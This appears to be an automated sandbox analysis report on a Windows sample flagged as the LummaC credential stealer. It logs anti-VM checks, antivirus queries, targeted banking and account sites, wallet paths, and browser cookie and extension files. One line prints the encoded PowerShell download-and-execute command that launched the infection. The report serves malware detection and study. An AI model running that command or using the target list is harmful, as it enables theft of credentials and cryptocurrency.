Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8318	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1574	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1877	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7928	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe TID: 944	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe TID: 3040	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696586537u
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696586537t
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696586537f
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696586537p
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696586537j
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696586537x
Source: DrWindows.exe, 00000017.00000002.2160226555.0000000000802000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000002.2160226555.00000000007AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696586537o
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696586537x
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696586537h
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696586537\|UE
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696586537]
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696586537d
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696586537}
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696586537p
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696586537z
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696586537n
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696586537s
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696586537}
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696586537
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696586537^
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696586537x
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696586537~
Source: DrWindows.exe, 00000017.00000003.1989126808.00000000038AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696586537t

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_0240049D mov edx, dword ptr fs:[00000030h]	23_2_0240049D
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02400A5D mov eax, dword ptr fs:[00000030h]	23_2_02400A5D
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024010AC mov eax, dword ptr fs:[00000030h]	23_2_024010AC
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_024010AD mov eax, dword ptr fs:[00000030h]	23_2_024010AD
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Code function: 23_2_02400E0D mov eax, dword ptr fs:[00000030h]	23_2_02400E0D

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_7580.amsi.csv, type: OTHER

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe "C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe"

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w h "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4ichpd3igj2h0dhbzoi8vyxnnynvja2v0lm9zcy1hcc1zb3v0agvhc3qtmy5hbgl5dw5jcy5jb20vy2xhc3mvaw5pdglhdguvsmlkvzntrtcudhh0jyatvxnlqmfzawnqyxjzaw5nks5db250zw50')) | iex"

Source: DrWindows.exe.12.dr	Binary or memory string: * InformationShell_TrayWnd\xnview_wallpaper_%d%02d%02d.bmpControl Panel\DesktopPrevWallpaperPrevTileWallpaperTileWallpaperWallpaperWallpaperStyleXclientClassProblemlnkdivxasfmts3gpm2vm2tm2tsmp4wmvmkvrmramrmvbflvvobwebmwavmp3midrmiausndaifaiffwmaasxmp2mp+mpcmppoggzipcabrarace7zsqxcbrcbzapkhtmhtmlurlepsfaiemfwmfsld261Raw H.261 video264Raw H.264 video3G2Mobile video3GP4XM4X Technologies4XAASFAdvanced System FormatAVIAudio Video InterleaveAVSCreature Shock gameC93CyberiaCINID CinematicsCPKSega FilmDIVXDivX VideoDVDigital videoDXAEpic videoEVOHD-DVDFLCAutodesk AnimatorFLIFLVMacromedia Flash VideoFLXFLIC animationGDVGremlin Digital VideoGVIGoogle VideoGXFGeneral eXchange Format (SMPTE360)K3GM1AMPEG-1 videoM1SM2SMPEG-2 videoM1VMPEG videoM2TMPEG-2 Transport streamM2VM4EStreaming MPEG-IV VideoM4VRaw MPEG-IV VideoM75MPEG-1 VideoMJ2Motion JPEG-2000MJPGMotion JPEGMKVMatroskaAmerican Laser GamesMMVSony DCR IP5QuicktimeMPEG-4MPEMotion Picture GroupMPGMPQBlizzard VideoMPVMPV2MTVMTV videoMVEInterplay VideoMXFMaterial eXchange FormatNSVNullsoft VideoNUVMyth TVOGMOgg Vorbis VideoP64H261 Raw VideoPSSPlaystation VideoROQ?? Id Sofware (Quake)SFDSega Dreamcast VideoSMKSmackerSTRPSX VideoSWFShockwave Flash (uncompressed)THPGamecube MovieTPHDTV VideoTSHDTV Transport Stream MPEG-2TXDRenderware TextureVBSMPEG 1 VideoVDRMPEG 2 VideoVIDBethesda SoftworksVMDSierra GamesVOBDVD Video formatWMVWindows MediaY4MY4M raw Video###### CREATE FILELIST
Source: DrWindows.exe, 00000017.00000003.1867935920.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000000.1758774785.0000000000505000.00000002.00000001.01000000.0000000A.sdmp, DrWindows.exe.12.dr	Binary or memory string: GetProgmanWindow
Source: DrWindows.exe.12.dr	Binary or memory string: Shell_TrayWnd
Source: DrWindows.exe, 00000017.00000003.1867935920.0000000002CDF000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000000.1758774785.0000000000505000.00000002.00000001.01000000.0000000A.sdmp, DrWindows.exe.12.dr	Binary or memory string: SetProgmanWindow

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: DrWindows.exe, 00000017.00000003.2106275968.0000000003847000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2108100844.0000000000856000.00000004.00000020.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000002.2167706217.0000000003847000.00000004.00000800.00020000.00000000.sdmp, DrWindows.exe, 00000017.00000003.2107086532.0000000000861000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: DrWindows.exe PID: 7464, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: DrWindows.exe, 00000017.00000003.2076228914.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: DrWindows.exe, 00000017.00000003.2076228914.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: DrWindows.exe, 00000017.00000003.2076228914.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: DrWindows.exe, 00000017.00000003.2076228914.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: DrWindows.exe, 00000017.00000003.2076228914.0000000000859000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: DrWindows.exe, 00000017.00000003.2079839230.0000000000861000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: powershell.exe, 0000000C.00000002.1808388041.00000261047E7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
